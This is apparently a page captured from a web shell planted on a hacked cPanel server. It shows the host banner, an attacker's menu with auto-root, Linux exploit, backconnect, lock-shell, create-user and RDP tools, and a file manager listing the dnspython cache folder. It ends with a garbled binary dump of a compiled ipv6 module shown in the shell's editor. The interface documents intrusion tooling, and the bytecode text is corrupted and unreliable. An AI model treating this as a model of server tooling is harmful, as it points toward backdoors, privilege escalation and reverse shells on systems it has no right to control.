Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.79
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
dns /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
625
B
-rw-r--r--
_asyncbackend.cpython-310.pyc
2.66
KB
-rw-r--r--
_asyncio_backend.cpython-310.p...
5.03
KB
-rw-r--r--
_curio_backend.cpython-310.pyc
3.72
KB
-rw-r--r--
_immutable_attr.cpython-310.py...
2.1
KB
-rw-r--r--
_immutable_ctx.cpython-310.pyc
2.1
KB
-rw-r--r--
_trio_backend.cpython-310.pyc
4
KB
-rw-r--r--
asyncbackend.cpython-310.pyc
2.58
KB
-rw-r--r--
asyncquery.cpython-310.pyc
11.21
KB
-rw-r--r--
asyncresolver.cpython-310.pyc
5.76
KB
-rw-r--r--
dnssec.cpython-310.pyc
14.21
KB
-rw-r--r--
e164.cpython-310.pyc
3.08
KB
-rw-r--r--
edns.cpython-310.pyc
9.56
KB
-rw-r--r--
entropy.cpython-310.pyc
3.11
KB
-rw-r--r--
enum.cpython-310.pyc
2.33
KB
-rw-r--r--
exception.cpython-310.pyc
4.56
KB
-rw-r--r--
flags.cpython-310.pyc
1.97
KB
-rw-r--r--
grange.cpython-310.pyc
1.02
KB
-rw-r--r--
immutable.cpython-310.pyc
2.27
KB
-rw-r--r--
inet.cpython-310.pyc
3.51
KB
-rw-r--r--
ipv4.cpython-310.pyc
1.29
KB
-rw-r--r--
ipv6.cpython-310.pyc
3.22
KB
-rw-r--r--
message.cpython-310.pyc
40.47
KB
-rw-r--r--
name.cpython-310.pyc
27.34
KB
-rw-r--r--
namedict.cpython-310.pyc
2.92
KB
-rw-r--r--
node.cpython-310.pyc
5.72
KB
-rw-r--r--
opcode.cpython-310.pyc
2.31
KB
-rw-r--r--
query.cpython-310.pyc
29.35
KB
-rw-r--r--
rcode.cpython-310.pyc
2.97
KB
-rw-r--r--
rdata.cpython-310.pyc
19.92
KB
-rw-r--r--
rdataclass.cpython-310.pyc
2.59
KB
-rw-r--r--
rdataset.cpython-310.pyc
13.65
KB
-rw-r--r--
rdatatype.cpython-310.pyc
5.84
KB
-rw-r--r--
renderer.cpython-310.pyc
7.44
KB
-rw-r--r--
resolver.cpython-310.pyc
40.67
KB
-rw-r--r--
reversename.cpython-310.pyc
2.86
KB
-rw-r--r--
rrset.cpython-310.pyc
6.64
KB
-rw-r--r--
serial.cpython-310.pyc
2.76
KB
-rw-r--r--
set.cpython-310.pyc
7.49
KB
-rw-r--r--
tokenizer.cpython-310.pyc
15.77
KB
-rw-r--r--
transaction.cpython-310.pyc
14.24
KB
-rw-r--r--
tsig.cpython-310.pyc
9.86
KB
-rw-r--r--
tsigkeyring.cpython-310.pyc
1.6
KB
-rw-r--r--
ttl.cpython-310.pyc
1.53
KB
-rw-r--r--
update.cpython-310.pyc
8.01
KB
-rw-r--r--
version.cpython-310.pyc
542
B
-rw-r--r--
versioned.cpython-310.pyc
14.06
KB
-rw-r--r--
wire.cpython-310.pyc
2.91
KB
-rw-r--r--
xfr.cpython-310.pyc
6.18
KB
-rw-r--r--
zone.cpython-310.pyc
31.1
KB
-rw-r--r--
zonefile.cpython-310.pyc
6.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ipv6.cpython-310.pyc
o x7�_� � @ sn d Z ddlZddlZddlZddlZe�d�Zdd� Ze�d�Z e�d�Z e�d�Zdd d�ZdZ d d� ZdS )zIPv6 helper functions.� Nz 0+([0-9a-f]+)c C s� t | �dkr td��t�| �}g }d}t |�}||k r@|||d � �� }t�|�}|dur3|�d�}|�|� |d7 }||k sd}d}d} d} t d �D ]!}|| d krg| rf|}|| }||krd| }|}d} qL| sm|} d} qL| r~d }|| }||kr~| }|}|dkr�|dkr�|dks�|d kr�|d dkr�|dkr�d} nd} | t j�| dd� � }|S d� |d|� �d d� ||| d� � }|S d� |�}|S )z�Convert an IPv6 address in binary form to text form. *address*, a ``bytes``, the IPv6 address in binary form. Raises ``ValueError`` if the address isn't 16 bytes long. Returns a ``str``. � z IPv6 addresses are 16 bytes longr � N� ���F� �0T� � �ffffz::z::ffff:� �:)�len� ValueError�binascii�hexlify�decode� _leading_zero�match�group�append�range�dns�ipv4� inet_ntoa�join)�address�hex�chunks�i�l�chunk�m� best_start�best_len�start� last_was_zero�end�current_len�prefix� r) �*/usr/lib/python3/dist-packages/dns/ipv6.pyr sj � ���� �r s (.*):(\d+\.\d+\.\d+\.\d+)$s ::.*s .*::$Fc C s$ t | t�s | �� } |r%| �d�}t|�}|dkr|d } n|dkr%tjj�| dkr-tjj�| �d�r;| �d�s;tjj�| � d�rI| � d�sItjj�| dkrOd} t �| �}|durytj� |�d��}d �|�d ��� |d |d |d |d ��� } t�| �}|dur�| d d� } nt�| �}|dur�| dd� } | �d�}t|�}|d kr�tjj�d}g }|D ]=} | dkr�|r�tjj�d}tdd | d �D ]} |�d� q�q�t| �}|dkr�tjj�|dkr�dd| | } |�| � q�|d k r�|s�tjj�d�|�} zt�| �W S tjtf�y tjj�w )a Convert an IPv6 address in text form to binary form. *text*, a ``str``, the IPv6 address in textual form. *ignore_scope*, a ``bool``. If ``True``, a scope will be ignored. If ``False``, the default, it is an error for a scope to be present. Returns a ``bytes``. � %� r � � :s ::s 0::Nz{}:{:02x}{:02x}:{:02x}{:02x}r � r r FTs 0000r � 0)� isinstance�bytes�encode�splitr r � exception�SyntaxError�endswith� startswith� _v4_endingr r � inet_atonr �formatr �_colon_colon_start�_colon_colon_endr r r r � unhexlify�Error� TypeError)�text�ignore_scope�partsr r! �br � seen_empty� canonical�c�_�lcr) r) r* r: c sx �� � �r: s ��c C s | � t�S )z�Is the specified address a mapped IPv4 address? *address*, a ``bytes`` is an IPv6 address in binary form. Returns a ``bool``. )r8 �_mapped_prefix)r r) r) r* � is_mapped� s rK )F)�__doc__�rer � dns.exceptionr �dns.ipv4�compiler r r9 r<